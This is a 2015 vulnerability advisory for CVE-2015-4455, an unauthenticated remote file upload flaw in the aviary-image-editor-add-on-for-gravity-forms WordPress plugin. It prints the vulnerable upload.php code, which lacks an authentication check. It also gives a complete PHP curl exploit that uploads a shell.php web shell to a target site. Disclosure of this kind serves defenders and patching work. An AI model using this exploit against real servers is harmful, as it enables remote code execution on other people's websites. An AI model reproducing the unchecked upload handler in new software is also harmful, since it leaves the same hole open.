Title: Remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms v3.0beta Wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-07
Download Site: https://wordpress.org/plugins/aviary-image-editor-add-on-for-gravity-forms
Vendor: Waters Edge Web Design and NetherWorks LLC
Vendor Notified: 2015-06-08
Advisory: http://www.vapid.dhs.org/advisory.php?v=125
Vendor Contact: plugins@wordpress.org
Description: A plugin that integrates the awesome Adobe Creative SDK (formerly Aviary) Photo / Image Editor with the Gravity Forms Plugin.
Vulnerability:
There is a remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms/includes/upload.php as an unauthenticated user can upload any file to the system. Including a .php file. The upload.php doesn't check that the user is authenticated and a simple post will allow arbitrary code to be uploaded to the server.
In the file aviary-image-editor-add-on-for-gravity-forms/includes/upload.php the code doesn’t check for an authenticated Wordpress user:
1 <?php
2
3 $filename = $_SERVER["DOCUMENT_ROOT"]."/wp-load.php";
4 if (file_exists($filename)) {
5 include_once($filename);
6 } else {
7 include_once("../../../../wp-load.php");
8 }
9 echo "Here";
10 $image_file = $_FILES['gf_aviary_file'];
11 if($image_file['name']!=''){
12 $max_file_size = 4*1024*1024;
13 $file_size = intval($image_file['size']);
14 if( $file_size > $max_file_size ){
15 $msg = "File Size is too big.";
16 $error_flag = true;
17 }
18 $extension = strtolower(end(explode('.', $image_file['name'])));
19 $aa_options = get_option('gf_aa_options');
20 $supported_files = $aa_options['supported_file_format'];
21 $supported_files = strtolower($supported_files);
22 if(!$error_flag && $supported_files != '' ){
23 $supported_files = explode (',', $supported_files);
24 if(!in_array($extension, $supported_files)){
25 $msg = "No Supported file.";
26 $error_flag = true;
27 }
28 }
29 if(!$error_flag){
30 $wp_upload_dir = wp_upload_dir();
31 if(!is_dir($wp_upload_dir['basedir'].'/gform_aviary')){
32 mkdir($wp_upload_dir['basedir'].'/gform_aviary');
33 }
34 $upload_dir = $wp_upload_dir['basedir'].'/gform_aviary/';
35 $upload_url = $wp_upload_dir['baseurl'].'/gform_aviary/';
36 $file_name = $upload_dir.$_POST['gf_aviary_field_id'].'_'.$image_file['name' ];
37 if(move_uploaded_file($image_file['tmp_name'], $file_name)){
38 $file_url = $upload_url.$_POST['gf_aviary_field_id'].'_'.$image_file['na me'];
39 }
40 }
41 $return_obj = array('status' => 'success', 'message' => $file_url);
42 echo json_encode($return_obj);
43 }
44 ?>
CVEID: 2015-4455
OSVDB:
Exploit Code:
<?php
/*Remote shell upload exploit for aviary-image-editor-add-on-for-gravity-forms v3.0beta */
/*Larry W. Cashdollar @_larry0
6/7/2015
shell will be located http://www.vapidlabs.com/wp-content/uploads/gform_aviary/_shell.php
*/
$target_url = 'http://server/wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php';
$file_name_with_full_path = '/var/www/shell.php';
echo "POST to $target_url $file_name_with_full_path";
$post = array('name' => 'shell.php','gf_aviary_file'=>'@'.$file_name_with_full_path);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$target_url);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result=curl_exec ($ch);
curl_close ($ch);
echo "<hr>";
echo $result;
echo "<hr>";
?>
